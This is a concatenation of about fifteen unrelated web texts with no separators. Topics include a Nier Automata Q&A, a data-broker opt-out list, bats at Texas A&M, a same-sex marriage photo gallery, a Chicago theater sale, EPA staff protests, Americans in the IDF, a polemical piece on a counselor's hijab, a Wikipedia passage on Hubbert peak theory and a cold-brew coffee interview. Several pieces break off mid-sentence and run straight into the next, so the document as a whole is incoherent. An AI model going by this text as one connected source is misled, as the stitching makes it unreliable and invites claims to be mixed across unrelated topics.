For instance, when asked if Nier Automata will ever get any meaty DLC content, Taro said that no DLC of that sort is planned. He added that fans shouldn’t anticipate The Witcher 3-style DLC content because Automata has no budget or manpower for that sort of DLC.
The director also confirmed that a photomode is not currently being planned for the game, though given funding, it could be added later.
Elsewhere in the session, Taro said that although many fans have been wanting this, a Drakengard remastered collection is not currently in the works. Like with many of his other answers, he also said that money will make them do anything and asked fans to reach out to Square Enix if they want this to happen.
One amusing question that came up asked Taro why doesn’t the game have an autosave feature, despite being called “Automata.” His answer was that save stations are a staple of JRPGs that he wanted to keep. This was also the way it’s worked with the original Nier.
The rest of the interview is well worth a watch, if for nothing else than to laugh at Taro’s frank responses.We all know that our personal data is very valuable to marketers and other agencies—and that it's collected and sold by data brokers. StopDataMining.me is a master list of opt-out links to stop these data brokers from collecting information about your online and offline activities.
The list is similar to a previously featured compilation on Reddit, but seems to be more comprehensive. You'll find opt-out links and brief instructions for opting-out of (currently) 50 data mining companies, including data brokers Acxiom and Intelius, as well as direct marketers such as Valpak and Dex Media (distributors of phone books). (The image above, by the way, is from Axciom's own profile-revealing website, Aboutthedata.com, but since it requires you to verify information such as your last four SSN and birthday, privacy advocates suggest you skip the site.)
Advertisement
Hit up the link below to get your personal information removed from these data resellers.
StopDataMining.meThousands of bats who live at Texas A&M University are being forced to find a new home after their regular residence at Kyle Field, the university's football stadium, has been disrupted by renovations. File Photo: Sarun T / Shutterstock
COLLEGE STATION, Texas, May 3 (UPI) -- The swimming pool at Texas A&M University strongly resembles the southeast corner beneath Wayne Manor these days. The batcave, that is.
The facility is typically used by students swimming laps, members of the dive team and some instructors. But all that activity has stopped because thousands of Mexican free-tailed bats have taken up residence.
So why did the flying mammals suddenly move in? Because they've been booted from their primary home at Kyle Field, the football stadium, which is undergoing renovations. The furry fliers used to live there year-round but all the noise and disruption has forced them to seek shelter elsewhere.
"They are finding bats in the gym, in the swimming pool -- all kinds of places," Thomas Lacher, a wildlife and fisheries sciences professor and bat expert on campus, said in a report by the Bryan-College Station Eagle.
According to experts, most bats fly high enough so they rarely come into contact with humans. Also, contrary to popular belief, very few of them carry rabies. As many bats live in eastern Texas, for years stadium officials didn't see much reason to oust them from their main home at Kyle field, where there is even a large sign declaring the premises a 'bat-friendly' stadium.
Eventually, though, the bats became tough to co-exist with. Bat droppings made life somewhat unpleasant at the stadium and even raised health risks because food is served there.
"They were defecating on the concession stands," Lacher said.
Two years ago, school officials started to take efforts to rid facilities of the bats -- allowing them to leave to feed but blocking their return. That effort was aided more recently when |
123 points — topping the 121 in the 2012 NBA Finals clincher against Oklahoma City — and never trailed.
Nic Batum scored 24 points for the Hornets. Kemba Walker added 19.
Game 2 is Wednesday night in Miami.Photos: Same-sex marriage in the U.S. Carlos McKnight of Washington waves a flag in support of same-sex marriage outside the U.S. Supreme Court on June 26, 2015. The Supreme Court ruled 5-4 that states cannot ban same-sex marriage, handing gay rights advocates their biggest victory yet. See photos from states that approved same-sex marriage before the nationwide ruling: Hide Caption 1 of 33
Photos: Same-sex marriage in the U.S. Shante Wolfe, left, and Tori Sisson become the first same-sex couple to file their marriage license in Montgomery, Alabama, on February 9, 2015. However, seven months after the U.S. Supreme Court ruling legalizing such nuptials nationwide, Alabama Chief Justice Roy Moore directed probate judges in his state to enforce the ban on same-sex marriage. Gay rights organizations swiftly denounced Moore's January 6, 2016, order. Hide Caption 2 of 33
Photos: Same-sex marriage in the U.S. Newlyweds Jeff Delmay and Todd Delmay hug during a marriage ceremony in a Miami courtroom January 5, 2015. Florida began allowing same-sex marriages after a federal judge struck down the state's ban. Hide Caption 3 of 33
Photos: Same-sex marriage in the U.S. Chad Biggs, left, and Chris Creech say their wedding vows at the Wake County Courthouse in Raleigh, North Carolina, on October 10, 2014, after a federal judge ruled that same-sex marriage can begin in the state. Hide Caption 4 of 33
Photos: Same-sex marriage in the U.S. Joshua Gunter, right, and Bryan Shields attend a Las Vegas rally to celebrate an appeals court ruling that overturned Nevada's same-sex marriage ban on October 7, 2014. Hide Caption 5 of 33
Photos: Same-sex marriage in the U.S. From left, plaintiffs Moudi Sbeity; his partner, Derek Kitchen; Kody Partridge; and Partridge's wife, Laurie Wood, celebrate after a news conference in Salt Lake City on October 6, 2014. The U.S. Supreme Court cleared the way for same-sex marriage in Utah when it declined to hear the state's appeal of a lower court ruling. Hide Caption 6 of 33
Photos: Same-sex marriage in the U.S. Abbi Huber, left, and Talia Frolkis exit the City County Building in Madison, Wisconsin, after applying for a marriage license on October 6, 2014. Hide Caption 7 of 33
Photos: Same-sex marriage in the U.S. Rob MacPherson, right, and his husband, Steven Stolen, hug during a news conference at the American Civil Liberties Union in Indianapolis on October 6, 2014. Hide Caption 8 of 33
Photos: Same-sex marriage in the U.S. Mary Bishop, second from left, and Sharon Baldwin, right, celebrate with family and friends following their wedding ceremony on the courthouse steps in Tulsa, Oklahoma, on October 6, 2014. Hide Caption 9 of 33
Photos: Same-sex marriage in the U.S. Jennifer Melsop, left, and Erika Turner kiss after they were married in front of the Arlington County Courthouse in Arlington, Virginia, on October 6, 2014. Hide Caption 10 of 33
Photos: Same-sex marriage in the U.S. Pastor Carol Hill from Epworth United Methodist Church speaks during a marriage-equality ceremony at the Kathy Osterman Beach in Chicago on June 1, 2014. The date marked the first day that all of Illinois' 102 counties could begin issuing marriage licenses to same-sex couples. Hide Caption 11 of 33
Photos: Same-sex marriage in the U.S. William Roletter, left, and Paul Rowe get close after having their photo taken with their marriage certificate May 21, 2014, at Philadelphia City Hall. Hide Caption 12 of 33
Photos: Same-sex marriage in the U.S. Julie Engbloom, left, and Laurie Brown embrace after marrying in Portland, Oregon, on May 19, 2014. A federal judge struck down the state's voter-approved ban on same-sex marriage. Hide Caption 13 of 33
Photos: Same-sex marriage in the U.S. Jennifer Rambo, right, kisses her Kristin Seaton after their marriage ceremony in front of the Carroll County Courthouse in Eureka Springs, Arkansas, on May 10, 2014. Rambo and Seaton were the first same-sex couple to be granted a marriage license in Eureka Springs after a judge overturned Amendment 83, which banned same-sex marriage in Arkansas. Hide Caption 14 of 33
Photos: Same-sex marriage in the U.S. Same-sex couples get their marriage licenses at the Oakland County Courthouse in Pontiac, Michigan, on March 22, 2014, a day after a federal judge overturned Michigan's ban on same-sex marriage. Hide Caption 15 of 33
Photos: Same-sex marriage in the U.S. On November 13, 2013, Hawaii Gov. Neil Abercrombie, left, and former state Sen. Avery Chumbley celebrate with a copy of the Honolulu Star-Advertiser after Abercrombie signed a bill legalizing same-sex marriage in the state. Hide Caption 16 of 33
Photos: Same-sex marriage in the U.S. Utah state Sen. Jim Dabakis, left, and Stephen Justesen acknowledge the crowd after being married in Salt Lake City in December 20, 2013. Hide Caption 17 of 33
Photos: Same-sex marriage in the U.S. Plaintiffs Laurie Wood, left, and Kody Partridge, center, walk with attorney Peggy Tomsic on December 4, 2013, after a judge heard arguments challenging Utah's same-sex marriage ban. Hide Caption 18 of 33
Photos: Same-sex marriage in the U.S. On October 21, 2013, Cory Booker, right, officiates a wedding ceremony for Joseph Panessidi, center, and Orville Bell at the Newark, New Jersey, City Hall. The New Jersey Supreme Court denied the state's request to prevent same-sex marriages temporarily, clearing the way for same-sex couples to marry. Hide Caption 19 of 33
Photos: Same-sex marriage in the U.S. A couple celebrates at San Francisco City Hall upon hearing about the U.S. Supreme Court rulings on same-sex marriage on June 26, 2013. The high court cleared the way for same-sex couples in California to resume marrying after dismissing an appeal on Proposition 8 on jurisdictional grounds. The court also struck down a key part of the Defense of Marriage Act, a 1996 federal law defining marriage as between a man and a woman. Hide Caption 20 of 33
Photos: Same-sex marriage in the U.S. At the state Capitol in St. Paul, Minnesota, Gov. Mark Dayton signs a bill legalizing same-sex marriage on May 14, 2013. Hide Caption 21 of 33
Photos: Same-sex marriage in the U.S. Delaware Gov. Jack Markell holds up legislation on May 7, 2013, allowing same-sex couples to wed in the state. Hide Caption 22 of 33
Photos: Same-sex marriage in the U.S. Rhode Island state Sen. Donna Nesselbush, right, embraces a supporter after the Marriage Equality Act was signed into law at the statehouse in Providence on May 2, 2013. Hide Caption 23 of 33
Photos: Same-sex marriage in the U.S. Jamous Lizotte, right, and Steven Jones pose for photos while waiting for a marriage license in Portland, Maine, on December 29, 2012. Hide Caption 24 of 33
Photos: Same-sex marriage in the U.S. On March 1, 2012, Maryland Gov. Martin O'Malley, center, shakes hands with Senate President Thomas V. "Mike" Miller after signing a same-sex marriage bill. The law was challenged, but voters approved marriage equality in a November 2012 referendum. Hide Caption 25 of 33
Photos: Same-sex marriage in the U.S. On February 13, 2012, Washington Gov. Chris Gregoire celebrates after signing marriage-equality legislation into law. Voters there approved same-sex marriage in November 2012, defeating a challenge by opponents. Hide Caption 26 of 33
Photos: Same-sex marriage in the U.S. Phyllis Siegel, right, kisses her wife, Connie Kopelov, after exchanging vows at the Manhattan City Clerk's office on July 24, 2011, the first day New York's Marriage Equality Act went into effect. Hide Caption 27 of 33
Photos: Same-sex marriage in the U.S. On August 21, 2010, TV reporter Roby Chavez, right, shares a moment with gay rights activist Frank Kameny during Chavez and Chris Roe's wedding ceremony in the nation's capital. Same-sex marriage became legal in Washington in March 2010. Hide Caption 28 of 33
Photos: Same-sex marriage in the U.S. Olin Burkhart, left, and Carl Burkhart kiss on the steps of the New Hampshire Capitol on January 1, 2010, after the state's law allowing same-sex marriage went into effect. Hide Caption 29 of 33
Photos: Same-sex marriage in the U.S. In May 2009, Maine state Sen. Dennis Damon, left, hands Gov. John Baldacci the bill that the state Senate passed to affirm the right of same-sex couples to marry. Hide Caption 30 of 33
Photos: Same-sex marriage in the U.S. Amy Klein-Matheny, left, and her wife, Jennifer, exchange vows in Iowa after same-sex couples were allowed to marry there with an April 3, 2009, court ruling. Hide Caption 31 of 33
Photos: Same-sex marriage in the U.S. Michael Miller, left, and Ross Zachs marry on the West Hartford Town Hall steps after same-sex marriage became legal in Connecticut on November 12, 2008. Hide Caption 32 of 33After two decades of opening and closing, the historic Patio Theater in Portage Park is up for sale.
Built in 1926, the single-screen Patio Theater is one of the few remaining vintage, independently owned movie theaters in Chicago. Though it underwent a significant renovation several years ago, it shut down in April. Its owner, Demetri Kouvalis, can't afford additional repairs, so he hired a broker to sell the building at the intersection of North Austin Avenue and West Irving Park Road.
The property, which includes the 1,500-seat theater plus 18 apartments and retail and office space, is listed for $3 million, according to marketing materials from the broker, Chicago-based Essex Realty Group. A buyer could boost the value of the property by hiking rents, which are below current market levels, said Essex Principal Jim Darrow.
“This building has been in the family for decades. They just haven't been keeping up with the rental market. If the new owner is willing to revamp a bit, there is much to gain by raising rent to current levels,” Mr. Darrow said.
LIVE PERFORMANCES?
The property's apartments, which are all occupied, lack amenities such as a dishwasher and a washer and dryer, in comparison to the higher-priced nearby properties. Some potential buyers are looking into renovating the theater to host live performances, Mr. Darrow said.
Since 1987, the Patio Theater has been managed by the Kouvalis family, which has footed nearly $100,000 in renovations over the past 27 years.
The theater had a profitable run until 2001 when the family could not afford to fix a costly air conditioning system. It remained closed until 2010when the family invested $80,000 to fix the air conditioning, refurbish 300 theater chairs and repaint the interior.
In summer 2012, public money raised on Kickstarter.com helped the family pay for a new digital projection system. After the renovations, Mr. Kouvalis, 25, took over as owner.
“After we reopened things went great for another two to three years. People love that they have this gem in their neighborhood and supported the reopening,” Mr. Kouvalis said.
Although Patio Theater has the capability to show run first-run movies, it has largely chosen to run classics and second- or third-run movies.
'I CAN ONLY DO SO MUCH'
But with mounting competition online and from bigger chain, multi-screen theaters, Patio Theater started to struggle. Then in summer 2013, the air conditioning broke again. And that winter, the heating system broke, too.
“I'm a one-man team. I can only do so much. I did not have the tens of thousands of dollars that was needed for upkeep,” Mr. Kouvalis said.
Although he paid $16,000 for a new heating system, he could not make up the extra $25,000 needed to fix the air conditioning.
“The theater is a part of my family's legacy and a signature part of Chicago's history,” Mr. Kouvalis said. “I'm sad we have to let it go.”IVN reported this week on lawmakers’ conversions to the LP, including an interview with Libertarian state senator Laura Ebke (Neb.). From the July 5 article:
Getting elected as a third-party candidate is no easy feat in the United States.
In fact, the deck is so stacked against alternative candidates — courtesy of gerrymandered voting districts that favor one of the major parties, ballot access laws that make it impossible for third parties to gain momentum with each passing election cycle, or public debates that only invite Democrats and Republicans to participate — that it is practically impossible.
But the Libertarian Party has created a model to bypass this hurdle, and it is working out swimmingly for them at the moment. Since the 2016 election, an increasing number of elected legislators have switched their official party affiliation from one of the major parties to Libertarian.
Click here to read the full article.Prime Minister Jacinda Ardern was among 120 MPs being sworn in at Parliament as opening formalities began today.
Photo: RNZ / Richard Tindiller
Watch live as new Parliament meets for first time:
As part of what's called the Commission Opening, Labour MP Trevor Mallard will be elected as Speaker of the House.
Tomorrow the State Opening will take place, when Governor-General Dame Patsy Reddy will read the speech from the throne outlining the government's legislative programme.
Ms Ardern said the government had an ambitious programme for its first 100 days in office, and that the House wouild sit under urgency to get some legislation introduced before the Christmas break.
The Oppposition sounded a warning about planned use of urgency, with National Party leader Bill English saying it led to bad legislation.
"It means legislation doesn't get properly scrutinised, the new government's got a range of quite complex policy decisions to implement and it looks like they're going to be using a fair bit of urgency."
The former National-led government used urgency frequently when it first came to power in 2008, but Mr English said it subsequently changed its ways.
"In recent years we used it very sparingly because we saw what happened it you pushed too fast and too hard - you end up with legislation that doesn't work."
Mr English said National would be open to discussions with the new government about extending sitting hours at Parliament as a possible alternative.
After maiden speeches, one of the first orders of business tomorrow will be the introduction of a bill extending paid parental leave.The federal government on Wednesday charged the former chairman of a major mortgage lender with $1.5 billion in fraud related to the financial bailout.
The Securities and Exchange Commission (SEC) alleged Lee Farkas, former chairman and majority owner of Taylor, Bean & Whitaker Mortgage Corp., sold $1.5 billion in fabricated or impaired loans to Colonial Bank. The government alleged those loans were falsely represented as high-value assets.
Farkas was also responsible for a "bogus" equity investment in the bank that allowed Colonial to satisfy requirements to receive money from the $700 billion bailout package, according to the SEC.
"As the country's mortgage markets began to falter, Farkas arranged the sale of more than $1 billion dollars worth of mortgage loans and securities he knew to be fictitious or impaired," said Lorin Reisner, deputy director of the SEC's division of enforcement. The SEC said the scheme involved $500 million in fake residential loans and $1 billion in impaired residential loans and securities.
Taylor, Bean & Whitaker was once the nation’s largest non-depository mortgage lender, according to the SEC, but it fell into trouble during the housing crisis and filed for bankruptcy in August 2009.
Farkas was not a major contributor to political campaigns, but he gave $2,250 to the National Republican Congressional Committee (NRCC) in 2006 and 2007.Two-time gold medallist Sonja Gaudet will be Canada's flag-bearer at the 2014 Paralympic Games, which start in Sochi, Russia on Friday.
Being able to play on the Canadian women's curling team and compete for her third gold medal allows Gaudet to turn a difficult accident "into something good," she told CBC's The National.
In 1997, Gaudet suffered a spinal cord injury, which left her paralyzed from the chest down, after a horseback riding accident.
But she didn't take to curling immediately afterwards. Unlike many athletes who hone their sport from childhood, Gaudet says it wasn't until 2003 that she first went curling.
That didn't stop her from winning a gold medal at the 2006 and 2010 Paralympic Games. Just last year, Gaudet was inducted into the Canadian Curling Hall of Fame.
Gaudet says she's "been so blessed to be a part of a great team, great coaching staff [and] spoiled by the Canadian Curling Association."
For her, the Paralympic Games are a time to show her true athleticism.
"It's a high-class level of competition for athletes with a physical disability. Everyone has their challenges and so, for me, it's about being able to share that," she says. "Giving up just isn't an option."As we enter the 2010 season there are just a handful of prospects that fantasy owners know need to be on their radars because they will be making an impact. Carlos Santana… Jason Heyward… The best of the bunch, however, could be the Rays’ Desmond Jennings.
He split time between Double & Triple-A in ’09, but he looked good at both stops:
497 At Bats
.318 Batting Average (158 Hits)
11 Home Runs
62 RBI
92 Runs
52 Stolen Bases
.401 On Base Percentage
.487 Slugging Percentage
.351 Batting Average on Balls in Play
There is no questioning the speed he brings to the field. To get to 52 stolen bases he needed just 59 attempts, meaning he was successful 88.14% of the time. In the Major Leagues, no player who stole 40 bases or more was caught less than 12 times.
Obviously, it’s a different game. The catchers throwing ability at Double-A is vastly different then the catchers at the Major League level, but it certainly is still worth noting. Just for comparison, in 436 AB between Double and Triple-A in 2007, Jacoby Ellsbury went 41-for-48. In other words he was caught as many times as Jennings, but with 11 less stolen bases.
That speed also allows him to maintain a higher than normal BABIP. Would I expect him to be able to duplicate his minor league mark? Not likely, but I wouldn’t expect him to suffer either. He does a great job of keeping the ball on the ground, with a minor league groundball rate of 50.7%, allowing him to utilize his speed.
Couple that with an ability to make contact (he struck out just 13.48% of the time in ’09) and there is a lot to like in the average department.
Obviously, you can’t have everything, so don’t expect a significant number of home runs. That’s what you get when you keep the ball on the ground. I’d consider him similar to Carl Crawford in this regard. That would put him in the low-teens consistently, but with the upside of maybe 15-18. If he’s stealing 45 bases while hitting right around.300, is anyone really going to complain about that?
The only thing standing in his way is a job and at 23-years old, how long could the Rays really keep him down?
If what others are saying about him is true, it shouldn’t be long. Baseball America, who ranked him as the team’s top prospect, recently said:
“Jennings has a lethal combination of speed and power that, combined with an aggressive approach and impressive overall knowledge, makes him a true game-changer. Managers rated Jennings as the best and fastest baserunner in the Southern League, as well as the best defensive outfielder and most exciting player. He has a live, athletic frame and five-tool talent that should continue to improve with experience.”
Now, look at the team’s right field situation. Gabe Kapler and Matt Joyce? Yes, Joyce has potential but is it anything close to that of Jennings? I think not. How about the DH job, where Pat Burrell is manning the spot?
The opportunity should be there, it’s just a matter of time. That makes him a player worth stashing in all formats, if you have the space. Chances are, in keeper leagues, he’s not available, but if he is, don’t hesitate.
He’ll likely be manning a spot in the Rays outfield by the All-Star Break at the latest. With the type of upside he has, he could be a fantasy gem by 2011. For 2010, he may not be the best propsect in the game, but with his speed, he’s clearly a Top Five at worst.
What are your thoughts? How good could he be? What are you expecting from him in 2010?
Make sure to order your copy of the Rotoprofessor 2010 Fantasy Baseball Draft Guide, selling for just $5, by clicking here.
You can read other recent Prospect Reports including:While it will be impossible to undo most major rules or programs that quickly, the presidential signatures would authorize Mr. Pruitt to cut existing environmental regulations — and, eventually, the jobs of many of the people who enforce them.
Ms. Cantello said most of her career at the E.P.A. had been focused on water protection, particularly on cleaning pollution in the Great Lakes. “I’m afraid all the work I’ve done will be abandoned,” she said.
Ms. Cantello and other longtime agency employees said that while they sometimes chafed under the administration of George W. Bush, who sought to loosen some environmental rules, they did not openly rebel against it — nor, they said, did they fear that Mr. Bush and his appointees wanted to eliminate the agency.
“I’ve been here for 30 years, and I’ve never called my senator about a nominee before,” said an E.P.A. employee in North Carolina who spoke on the condition of anonymity out of fear of losing her job.
The calls to senators come on top of an anti-Pruitt protest last week by Chicago E.P.A. employees, and agency workers say that if Mr. Pruitt is confirmed, they intend to amplify their resistance to him, taking their case to the American public.
“At this point, it’s just, ‘call your senator,’” Mr. O’Grady, the union president, said. “We plan on more demonstrations, more rallies. I think you will see the employees’ union reaching out to N.G.O.s and having alliances with them,” he added, referring to nongovernmental organizations. “We’re looking at working with P.R. firms.”
The White House and E.P.A. did not respond to emailed questions about the employees’ campaign.
The E.P.A. emerged as a Republican political target during the Obama administration, after Mr. Obama turned to the agency to muscle through an environmental agenda that could not get through Congress.Story highlights About 750 Americans are currently in the Israeli military, an advocacy group says
In Israel, military service is required of all citizens at age 18, male and female
That includes young Americans with dual citizenship living in Israel
Those outside Israel can apply if they meet requirements including speaking Hebrew
Daniel Flesch, then a college student at the University of Illinois, had heard too much anti-Israeli sentiment.
He had family members who had survived the Holocaust and felt compelled to fight back at what he perceived as a growing level of anti-Semitism in America. So in 2010, he joined Israel's military.
"I just didn't want to sit on the sidelines," the now-26-year-old said in an interview via Skype. "I wanted to actually fight back against those who think Israel and the Jewish people should not exist."
JUST WATCHED Funeral held for 'lone soldier' from U.S. Replay More Videos... MUST WATCH Funeral held for 'lone soldier' from U.S. 01:47
JUST WATCHED Can Israel and Hamas co-exist? Replay More Videos... MUST WATCH Can Israel and Hamas co-exist? 02:47
JUST WATCHED Israel-Hamas: Both sides play blame game Replay More Videos... MUST WATCH Israel-Hamas: Both sides play blame game 02:41
Flesch, now a graduate student at Johns Hopkins School of Advanced International Studies in Washington, became what's known as a "lone soldier" -- a citizen from another country who joins the Israel Defense Forces (IDF).
It's believed there are approximately 750 Americans currently serving in the Israeli military, according to the New York-based Friends of IDF. The group raises funds for the cultural, recreational and social needs of Israeli soldiers.
Although there are no firm numbers of those who have signed up in recent days, the interest level of Americans seems to have increased amid the escalating conflict between Israel and Hamas, according to Orit Mizner, southwest regional director for Friends of Israel Scouts, an organization that helps North American Jews stay connected to Israel.
"Those kind of phone calls keep on coming.... There's definitely a sense of the need to be in Israel and a need to take part in what's going on," said Mizner, whose organization runs a program called Garin Tzabar, which helps facilitate Americans' entry into the IDF.
Americans have been serving in the IDF for decades. Israel requires that its citizens serve in the military when they turn 18 -- three years for men, two years for women. Young Americans with dual citizenship living in Israel are required to serve as well.
Those outside Israel, whether they hold Israeli citizenship or not, can apply for the IDF if they meet requirements including no criminal record, a high school diploma and the ability to speak Hebrew.
The U.S. government doesn't discourage those wanting to join, but some may question why those willing to put themselves in harm's way would choose the IDF as opposed to the American military.
"As much I'm a proud American," said David Meyers of Belmont, California, "there's an incredibly deep and long connection that I have to Israel."
Meyers, who now works in sales in Silicon Valley, holds dual U.S.-Israeli citizenship.
"The United States with its strength and size, perhaps, isn't quite needing your abilities and your efforts," he said, explaining his choice to spend six years in the Israeli navy.
JUST WATCHED Will hashtag create Middle East peace? Replay More Videos... MUST WATCH Will hashtag create Middle East peace? 02:39
JUST WATCHED Casualties rise in Israel-Hamas conflict Replay More Videos... MUST WATCH Casualties rise in Israel-Hamas conflict 01:24
His Israeli-born comrades sometimes expressed puzzlement over his decision to leave the comforts of American life for the dangers of military service, he said.
"They sometimes scratched their heads when they see people coming from other countries," said Meyers, who served in the Israeli navy in the late 1980s and early '90s. But he added that he was warmly embraced.
JUST WATCHED Woman: I saw my Gaza home explode on TV Replay More Videos... MUST WATCH Woman: I saw my Gaza home explode on TV 01:26
Flesch, who is not an Israeli citizen, served more than 18 months. He became a paratrooper in the Israeli army and was recognized twice as the outstanding soldier of his platoon.
His proudest achievement: "That I'd done my part to defend the Jewish people (from) those who tried to harm us throughout the years."A Missouri guidance counselor is wearing a hijab to school on Mondays to show solidarity with Muslim women. It’s her way of showing acceptance to Islam.
And she’s counseling schoolchildren in Missouri.
DeVries has made Facebook friends with Muslim people all over the world interested in her story.
The Daily Wire reported:
Martha DeVries, 47, a high school guidance counselor from Missouri and wife of a Christian youth pastor, has decided to wear a hijab every Monday to school in solidarity with Muslim women — who are forced to wear the garment for reasons of mandated modesty — and in hopes of combating “anti-Muslim” rhetoric she claims is coming from Republican frontrunner Donald Trump.
Of course, DeVries’ cute little stunt only helps to perpetuate oppression of the women not fortunate enough to have a choice in the matter.
“I felt moved out of my comfort zone,” said DeVries after a “motivating” sermon which compelled her to gleefully wear the oppressive garment.
DeVries, citing her Christian faith, explained that it is not her “job to judge them” or “take on the establishment of the entire Islamic faith,” but to “love” Muslim women in her community by wearing the oppressive garment on one randomly selected day per week.
“I think of Muslims in my community as my neighbors and it’s not my job to judge them or determine their salvation,” she said. “My job is to love them… It’s not my intent to take on the establishment of the entire Islamic faith, it is my intent to say I stand with Muslim women in my community.”
“What’s a head scarf? It’s three yards of material, if even?” she asked with apparently no understanding of the significance of the mandated garment. “That shouldn’t separate me from someone whose humanity is so much like mine.”
Her husband Mike DeVries, a Christian youth pastor, fully supports his wife’s actions, saying her hijab-wearing was “kind of cool.”
Despite DeVries incongruous “good intent,” her casual wearing of a hijab in “solidarity” — an unfortunate common symptom of the regressive left’s obsession with double-standards and anti-Western cultural relativity — she neglects to see the glaring irony that she has a choice to put on the “cool” headscarf, and by doing so, helps perpetuate oppression. The others with whom she is “standing” are forced to wear the garment out of patriarchal codes of modesty, to the extent of having acid sprayed on their face for an improper fitting, or lack of such a garment."Hubbert peak" redirects here. For the episode of The West Wing television series, see The Hubbert Peak
The Hubbert peak theory says that for any given geographical area, from an individual oil-producing region to the planet as a whole, the rate of petroleum production tends to follow a bell-shaped curve. It is one of the primary theories on peak oil.
Choosing a particular curve determines a point of maximum production based on discovery rates, production rates and cumulative production. Early in the curve (pre-peak), the production rate increases due to the discovery rate and the addition of infrastructure. Late in the curve (post-peak), production declines because of resource depletion.
The Hubbert peak theory is based on the observation that the amount of oil under the ground in any region is finite, therefore the rate of discovery which initially increases quickly must reach a maximum and decline. In the US, oil extraction followed the discovery curve after a time lag of 32 to 35 years.[1][2] The theory is named after American geophysicist M. King Hubbert, who created a method of modeling the production curve given an assumed ultimate recovery volume.
Hubbert's peak [ edit ]
"Hubbert's peak" can refer to the peaking of production of a particular area, which has now been observed for many fields and regions.
Hubbert's peak was thought to have been achieved in the United States contiguous 48 states (that is, excluding Alaska and Hawaii) in the early 1970s. Oil production peaked at 10,200,000 barrels per day (1,620,000 m3/d) and then declined for several years since. Yet, recent advances in extraction technology, particularly those that led to the extraction of tight oil and oil from shale, have drastically changed the picture. A decline in production followed the 1970s peak of more than 10 million barrels. In November of 2017 the United States once again surpassed the 10 million barrel mark for the first time since 1970. [3]
Peak oil as a proper noun, or "Hubbert's peak" applied more generally, refers to a predicted event: the peak of the entire planet's oil production. After peak oil, according to the Hubbert Peak Theory, the rate of oil production on Earth would enter a terminal decline. On the basis of his theory, in a paper[4] he presented to the American Petroleum Institute in 1956, Hubbert correctly predicted that production of oil from conventional sources would peak in the continental United States around 1965–1970. His prediction of inevitable decline has been incorrect, but the 1970 peak has yet not been surpassed. Hubbert further predicted a worldwide peak at "about half a century" from publication and approximately 12 gigabarrels (GB) a year in magnitude. In a 1976 TV interview[5] Hubbert added that the actions of OPEC might flatten the global production curve but this would only delay the peak for perhaps 10 years. The development of new technologies has provided access to large quantities of unconventional resources, and the boost of production has largely discounted Hubbert's prediction.[citation needed]
Hubbert's theory [ edit ]
Hubbert curve [ edit ]
x and y scales are replaced by time and production scales. The standard Hubbert curve. For applications, theandscales are replaced by time and production scales.
U.S. Oil Production and Imports 1910 to 2012
In 1956, Hubbert proposed that fossil fuel production in a given region over time would follow a roughly bell-shaped curve without giving a precise formula; he later used the Hubbert curve, the derivative of the logistic curve,[6][7] for estimating future production using past observed discoveries.
Hubbert assumed that after fossil fuel reserves (oil reserves, coal reserves, and natural gas reserves) are discovered, production at first increases approximately exponentially, as more extraction commences and more efficient facilities are installed. At some point, a peak output is reached, and production begins declining until it approximates an exponential decline.
The Hubbert curve satisfies these constraints. Furthermore, it is symmetrical, with the peak of production reached when half of the fossil fuel that will ultimately be produced has been produced. It also has a single peak.
Given past oil discovery and production data, a Hubbert curve that attempts to approximate past discovery data may be constructed and used to provide estimates for future production. In particular, the date of peak oil production or the total amount of oil ultimately produced can be estimated that way. Cavallo[8] defines the Hubbert curve used to predict the U.S. peak as the derivative of:
Q ( t ) = Q m a x 1 + a e − b t {\displaystyle Q(t)={Q_{\rm {max}} \over {1+ae^{-bt}}}}
where Q {\displaystyle Q} max is the total resource available (ultimate recovery of crude oil), Q ( t ) {\displaystyle Q(t)} the cumulative production, and a {\displaystyle a} and b {\displaystyle b} are constants. The year of maximum annual production (peak) is:
t m a x = 1 b ln ( a ). {\displaystyle t_{\rm {max}}={1 \over b}\ln \left({a}\right).}
so now the cumulative production Q ( t ) {\displaystyle Q(t)} reaches the half of the total available resource:
Q ( t ) = Q max / 2 {\displaystyle Q(t)=Q_{\text{max}}/2}
Use of multiple curves [ edit ]
The sum of multiple Hubbert curves, a technique not developed by Hubbert himself, may be used in order to model more complicated real life scenarios. For example, when new technologies like hydraulic fracturing combined with new formations that were not productive before the new technology, this can create a need for multiple curves. These technologies are limited in number, but make a big impact on production and cause a need for a new curve to be added to the old curve and the entire curve to be reworked.[9]
Reliability [ edit ]
Crude oil [ edit ]
Hubbert's upper-bound prediction for US crude oil production (1956), and actual lower-48 states production through 2014
Hubbert, in his 1956 paper,[4] presented two scenarios for US crude oil production:
most likely estimate: a logistic curve with a logistic growth rate equal to 6%, an ultimate resource equal to 150 Giga-barrels (Gb) and a peak in 1965. The size of the ultimate resource was taken from a synthesis of estimates by well-known oil geologists and the US Geological Survey, which Hubbert judged to be the most likely case.
upper-bound estimate: a logistic curve with a logistic growth rate equal to 6% and ultimate resource equal to 200 Giga-barrels and a peak in 1970.
Hubbert's upper-bound estimate, which he regarded as optimistic, accurately predicted that US oil production would peak in 1970, although the actual peak was 17% higher than Hubbert's curve. Production declined, as Hubbert had predicted, and stayed within 10 percent of Hubbert's predicted value from 1974 through 1994; since then, actual production has been significantly greater than the Hubbert curve. The development of new technologies has provided access to large quantities of unconventional resources, and the boost of production has largely discounted Hubbert's prediction.[citation needed]
Hubbert's 1956 production curves depended on geological estimates of ultimate recoverable oil resources, but he was dissatisfied by the uncertainty this introduced, given the |
nothing growing, there is no toxins in there that’s going to make anybody sick. We’ve been doing that for a while. It was coming back is very clean, great product, nothing dangerous. Because of that, we decided to do our release in February. That went off great, customers loved it, no problems. We were trying to get a good, very accurate shelf-life on the product or a best by date.
We started with 30 days just because we saw other companies in the industry range rocking around 90 days they were put on their products so we put it on ours. I didn’t really feel great about that. I’m like, “Well, let’s get the actual date data.” They were actually doing a shelf’s stability study where they didn’t refrigerate the product, which I was like “Fine, let’s see what you come out with.”
After 14 weeks of being on the shelf at room temperature, still find no problem with the coffee, there’s no harmful toxins, no bacteria, no mold, nothing. At around the 15th or 16th week, we get an email from Cornell telling us that they have another scientist that took a look at our product once he noticed that we used nitrogen in our product. He didn’t like that. The reason was because, apparently, there’s a heat-resistant mold spore that can and does thrive under low oxygen conditions at certain temperatures. I was like, “All right.”
Brendan: Interesting.
